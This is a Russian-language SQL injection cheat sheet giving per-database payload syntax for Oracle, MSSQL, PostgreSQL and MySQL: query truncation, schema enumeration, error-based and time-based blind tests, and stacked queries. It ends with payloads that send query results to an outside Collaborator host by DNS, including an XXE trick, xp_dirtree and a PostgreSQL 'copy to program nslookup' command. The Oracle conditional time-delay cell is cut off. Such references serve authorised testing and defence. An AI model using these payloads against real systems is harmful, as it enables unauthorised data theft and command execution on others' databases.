SQLi: Шпаргалка по SQL-инъекциям
Конкатенация строк
Вы можете объединять несколько строк в одну.
База данных | Синтаксис |
---|---|
Oracle | 'foo'||'bar' |
Microsoft | 'foo'+'bar' |
PostgreSQL | 'foo'||'bar' |
MySQL | 'foo' 'bar' ОбратитеCONCAT('foo','bar') |
Подстрока
Вы можете извлечь часть строки из указанного смещения с длинной. Обратите внимание, что индекс отсчитывает от 1
. Каждое из следующих выражений вернёт ba
База данных | Синтаксис |
---|---|
Oracle | SUBSTR('foobar', 4, 2) |
Microsoft | SUBSTRING('foobar', 4, 2) |
PostgreSQL | SUBSTRING('foobar', 4, 2) |
MySQL | SUBSTRING('foobar', 4, 2) |
Комментарии запроса базы данных
Вы можете использовать комментарии, для обрезания sql запроса и удаления части исходного запроса, которая следует за вашими данными.
База данных | Синтаксис |
---|---|
Oracle | --comment |
Microsoft | --comment /*comment*/ |
PostgreSQL | --comment /*comment*/ |
MySQL | #comment -- comment Обратите внимание на пробел после -- /*comment*/ |
Версия базы данных
Вы можете запросить базу данных, чтобы определить её тип и версию. Эта информация будет полезна при разработке более сложных атак.
База данных | Синтаксис |
---|---|
Oracle | SELECT banner FROM v$version SELECT version FROM v$instance |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
Содержимое базы данных
Вы можете получить список таблиц существующих в базе данных, и столбы содержащиеся в этих таблицах.
База данных | Синтаксис |
---|---|
Oracle | SELECT * FROM all_tables SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
Microsoft | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
PostgreSQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
MySQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
Условные ошибки базы данных
Вы можете проверить одно логическое условие и вызвать ошибку базы данных, если условие истинно.
База данных | Синтаксис |
---|---|
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
Пакетные (или стековые) запросы базы данных
Вы можете использовать пакетные запросы для последовательного выполнения нескольких sql запросов. Обратите внимание, что при выполнении последующих sql запросов результаты не возвращаются в приложение. Следовательно, этот метод в основном используется для уязвимостей слепых SQL-инъекций, когда вы можете использовать второй sql запрос для запуска DNS lookup, условной ошибки или временной задержки.
База данных | Синтаксис |
---|---|
Oracle | Не поддерживаются |
Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | QUERY-1-HERE; QUERY-2-HERE |
Примечание. В MySQL пакетные запросы обычно нельзя использовать для SQL-инъекции. Однако иногда это возможно, если целевое приложение использует определённые API-интерфейсы PHP или Python для связи с базой данных.
Временные задержки базы данных
Вы можете вызвать временную задержку при обработке запроса в базе данных. Следующее вызовет безусловную временную задержку в 10 секунд.
База данных | Синтаксис |
---|---|
Oracle | dbms_pipe.receive_message(('a'),10) |
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
Условная временная задержка базы данных
Вы можете проверить одно логическое условие и активировать временную задержку, если условие истинно.
База данных | Синтаксис |
---|---|
Oracle | `SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a' |
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |
DNS lookup
Вы можете заставить базу данных выполнить DNS lookup во внешнем домене. Для этого вам нужно использовать Burp Collaborator для создания уникального поддомена, который будет использоваться в атаке, а затем опросить сервер Collaborator для подтверждения выполнения DNS lookup.
Oracle
В этом методе используется уязвимость внешней сущность XML (XEE) для запуска DNS lookup. Уязвимость была исправлена, но существует множество неисправленных установок Oracle:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Следующий метод работает на полностью исправных установках Oracle, но требует повышенных привилегий:
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL
Следующий метод работает только под Windows:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
DNS lookup с эксфильтрацией данных
Вы можете заставить базу данных выполнять DNS lookup во внешнем домене, содержащем результаты введённого запроса. Для этого нужно использовать Burp Collaborator для создания уникального поддомена, который вы будет использовать в своей атаке. А затем опросить сервер Collaborator для получения сведений о любых взаимодействиях с DNS, включая эксфильтрованные данные.
Oracle
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoft
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL
Этот метод работает только под Windows:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'